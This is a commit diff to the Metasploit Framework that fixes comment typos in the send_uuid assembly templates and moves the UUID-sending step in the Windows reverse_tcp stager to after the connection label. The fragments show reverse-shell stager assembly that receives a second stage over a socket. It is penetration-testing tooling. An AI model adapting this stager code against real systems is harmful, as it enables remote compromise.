don't jump past the uuid sender on win32/tcp connect

Author: Brent Cook

lib/msf/core/payload/linux/send_uuid.rb

@@ -28,7 +28,7 @@ def asm_send_uuid(uuid=nil)
         push ecx                      ; store ecx for later
         push 0                        ; terminate the args array
         push #{uuid_raw.length}       ; length of the UUID
-        call get_uuid_address         ; put uuid buffer on tehe stack
+        call get_uuid_address         ; put uuid buffer on the stack
         db #{raw_to_db(uuid_raw)}     ; UUID itself
       get_uuid_address:
         push edi                      ; socket handle

lib/msf/core/payload/windows/reverse_tcp.rb

@@ -177,11 +177,13 @@ def asm_reverse_tcp(opts={})
       end
 =end
 
-    asm << asm_send_uuid if include_send_uuid
-
     asm << %Q^
       connected:
+      ^
 
+    asm << asm_send_uuid if include_send_uuid
+
+    asm << %Q^
       recv:
         ; Receive the size of the incoming second stage...
         push 0                 ; flags

lib/msf/core/payload/windows/send_uuid.rb

@@ -27,7 +27,7 @@ def asm_send_uuid(uuid=nil)
       send_uuid:
         push 0                 ; flags
         push #{uuid_raw.length} ; length of the UUID
-        call get_uuid_address  ; put uuid buffer on tehe stack
+        call get_uuid_address  ; put uuid buffer on the stack
         db #{raw_to_db(uuid_raw)}  ; UUID
       get_uuid_address:
         push edi               ; saved socket

lib/msf/core/payload/windows/x64/send_uuid.rb

@@ -28,7 +28,7 @@ def asm_send_uuid(uuid=nil)
         xor r9, r9              ; flags
         push #{uuid_raw.length} ; length of the UUID
         pop r8
-        call get_uuid_address  ; put uuid buffer on tehe stack
+        call get_uuid_address  ; put uuid buffer on the stack
         db #{raw_to_db(uuid_raw)}  ; UUID
       get_uuid_address:
         pop rdx                ; UUID address